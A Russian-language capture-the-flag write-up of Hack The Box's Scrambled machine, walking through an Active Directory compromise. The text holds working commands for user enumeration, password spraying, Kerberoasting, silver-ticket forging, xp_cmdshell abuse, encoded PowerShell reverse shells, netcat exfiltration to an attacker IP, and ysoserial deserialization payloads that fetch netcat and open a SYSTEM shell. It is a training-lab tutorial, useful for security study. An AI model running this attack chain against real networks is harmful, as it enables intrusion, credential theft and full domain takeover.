Хакер - HTB Scrambled. Применяем ASREPRoast и Kerberoasting для атаки на SMB и MS SQL
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- OSINT
- Kerberos
- Точка опоры
- Kerberoasting
- Silver Ticket
- Продвижение
- Пользователь SqlSvc
- Пользователь MiscSvc
- Локальное повышение привилегий
В сегодняшнем райтапе я покажу, как атака ASREPRoast позволяет получить тикет для службы MS SQL. Данные из базы помогут нам в продвижении, а для повышения привилегий заюзаем уязвимость при использовании сериализации.
Наша цель — захват тренировочной машины Scrambled с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts, чтобы к ней было удобнее обращаться:
10.10.11.168 scrambled.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашлось много открытых портов, что типично для Windows:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC), используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 1433 — СУБД Microsoft SQL Server 2019;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 4411 — какое‑то пользовательское приложение;
- 5985 — служба WinRM;
- 9389 — веб‑службы AD DS.
Все перечисленные службы Microsoft пока что ничего нам дать не могут, поэтому первым делом смотрим сайт.

Сразу отмечаем полезную информацию: аутентификация NTLM отключена.
ТОЧКА ВХОДА
OSINT
На одной из страниц находим скриншот консоли, а в нем видно пользователя ksimpson. Это очень важная информация!

На другой странице отмечаем инструкцию к ПО, работающему на порте 4411. Здесь обратим внимание на имя сервера и домен — dc1.scrm.local. Соответствующие записи добавляем в файл /etc/hosts.
10.10.11.168 scrambled.htb dc1.scrm.local scrm.local

А также находим информацию о том, что имя пользователя может выступить в качестве пароля.

Kerberos
Мы можем отправить запрос ASREP, существует ли тот или иной аккаунт. Есть возможность запросить ключ (AS key) Kerberos этого пользователя, ключ будет зашифрован с помощью его пароля. Но дело в том, что сервер различает ответы «данный флаг не установлен» и «учетная запись не существует». А значит, если пройдемся по именам пользователей и для какого‑то нам ответят, что флаг не установлен, мы узнаем, что эта учетка существует. Сделать такой перебор можно с помощью инструмента GetNPUsers из пакета impacket. Имя пользователя у нас уже есть.
GetNPUsers.py scrm.local/ksimpson -no-pass

Нам ответили, что флаг не установлен, а значит, учетная запись существует. Теперь с помощью kerbrute проверим пароль пользователя.
kerbrute_linux_amd64 passwordspray -d scrm.local --dc dc1.scrm.local users.txt ksimpson

Учетные данные оказались верны, поэтому мы можем запросить тикет пользователя и применить его как аутентификатор, вместо пароля. В этом нам поможет скрипт getTGT из того же impacket.
impacket-getTGT scrm.local/ksimpson:ksimpson

Экспортируем полученный тикет и подключаемся к службе SMB. Чтобы удалось аутентифицироваться, время на твоем хосте и на сервере должно отличаться не больше чем на пять минут. Поэтому стоит обновить локальное время по протоколу NTP.
sudo ntpdate scrm.local
export KRB5CCNAME=ksimpson.ccache
impacket-smbclient -k scrm.local/ksimpson@dc1.scrm.local -no-pass

Командой shares получаем список ресурсов.
ТОЧКА ОПОРЫ
Пройдясь по каталогам, успешно заходим в Public.
use Pablic

Там находим всего один документ. Скачиваем его командой get <file>. В самом документе рассказано о недавнем взломе службы MS SQL.

Kerberoasting
Раз мы имеем дело с MS SQL, значит, можем выполнить атаку Kerberoasting. Ее цель — собрать билеты TGS для служб, которые запускаются от имени пользователей, а не от системных учеток. Тикеты TGS зашифрованы ключами, полученными из паролей пользователей, а значит, их данные можно взломать простым перебором. Уязвимые учетные записи определим по полю SPN, которое не будет пустым. Выполним запрос TGS с помощью скрипта GetUserSPNs из все того же impacket.
GetUserSPNs.py scrm.local/ksimpson -dc-ip dc1.scrm.local -dc-host dc1.scrm.local -request -k -no-pass

Теперь сохраним тикет в файл и отдадим JTR для перебора. Пароль учетной записи получим очень быстро.
john sqlsvc.hash --wordlist=rockyou.txt

Silver Ticket
Мы получили пароль службы, и, чтобы с ней работать, следующим шагом должно быть получение «серебряного билета». Silver ticket — это реальный билет TGS для определенной службы, в котором используется NTLM пользователя. Он даст нам доступ к этой службе. Чтобы сгенерировать такой билет, нам нужно знать NTLM-хеш пароля и SID домена. SID домена получим из отладочной информации при выполнении impacket-secretsdump.
impacket-secretsdump -k scrm.local/ksimpson@dc1.scrm.local -no-pass -debug

А хеш генерируем на сайте md5decrypt.net из полученного пароля.

А теперь генерируем билет.
ticketer.py -domain scrm.local -spn MSSQLSVC/dc1.scrm.local -user-id 500 Administrator -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200

Экспортируем созданный билет в рабочее окружение и подключаемся к службе MS SQL, используя аутентификацию Kerberos.
export KRB5CCNAME=Administrator.ccache
mssqlclient.py dc1.scrm.local -k -no-pass
SELECT name FROM master.dbo.sysdatabases

ПРОДВИЖЕНИЕ
Пользователь SqlSvc
Перейдем к базе данных ScrambleHR и получим из нее таблицы.
use ScrambleHR
SELECT name FROM SYSOBJECTS WHERE xtype = 'U'

Нас интересует таблица пользователей UserImport. Получаем все ее записи.
select * from UserImport

С найденными учетными данными подключиться никуда не удастся, поэтому попробуем получить управление через MS SQL. Первым делом нужно активировать xp_cmdshell. Из нашего интерпретатора это можно сделать встроенной командой enable_xp_cmdshell, после чего выполняем реконфигурацию.
enable_xp_cmdshell
reconfigure

Теперь мы можем выполнять команды через xp_cmdshell.

Сразу прокинем реверс‑шелл, который сгенерируем с помощью очень удобного Online Reverse Shell Generator. Для него нужно указать параметры, такие как локальные хост и порт, а также язык и целевую систему. Дополнительно задаем кодировку Base64. Листенер запускаем командой rlwrap -cAr nc -lvnp 4321.
xp_cmdshell powershell -e JABjA....AoACkA

Получаем бэкконнект и продвигаемся дальше.
Пользователь MiscSvc
У нас уже есть учетные данные пользователя MiscSvc, поэтому попробуем получить новую сессию PowerShell:
$pass = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("scrm\miscsvc", $pass)
Invoke-Command -Computer dc1 -ScriptBlock { whoami } -Credential $cred

Так как команда была выполнена в другом контексте, пробросим наш реверс‑шелл и продолжим работу от имени MiscSvc:
Invoke-Command -Computer dc1 -ScriptBlock { powershell -e JABjA....AoACkA } -Credential $cred

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Запросив подробную информацию о пользователе, замечаем, что он состоит в группах ITShare и ITUsers.
whoami /all

Перейдем к общим ресурсам и найдем там каталог IT. Если зайти еще дальше, то наткнемся на исполняемый файл ScrambleClient.exe.

С помощью netcat забираем файлы с хоста.
#local host
nc -lvp 6543 > ScrambleClient.exe
nc -lvp 7654 > ScrambleLib.dll
#remote host
type ScrambleClient.exe | C:\Users\miscsvc\Documents\nc.exe 10.10.14.113 6543
type ScrambleLib.dll | C:\Users\miscsvc\Documents\nc.exe 10.10.14.113 7654
И так как это приложение .NET, мы можем его легко декомпилировать с помощью dnSpy. По классу LoginWindow понимаем, что это то самое приложение, которое работает на порте 4411.

Если мы выполним команду LIST_ORDERS, нам вернут ответ SUCCESS и сериализованный объект. Интересно.


В исходном коде находим функцию загрузки.

Так можно сериализовать объект и отправить его через команду UPLOAD_ORDER. Тогда при десериализации он должен будет выполниться. Для сериализации будем использовать ysoserial для .NET. Сначала скачаем со своего хоста netcat, для чего командой python3 -m http.server -p 8080 поднимаем веб‑сервер.
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "powershell wget 10.10.14.64:8080/nc64.exe -O C:\Windows\Temp\nc.exe" -o base64


Когда файл будет загружен, повторим наш трюк. Но на этот раз реверс‑шелл создадим с помощью скачанного netcat. В созданный листенер должен прилететь бэкконект в контексте SYSTEM.
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "C:\Windows\Temp\nc.exe 10.10.14.64 4321 -e cmd.exe" -o base64

Забираем флаг рута, и машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei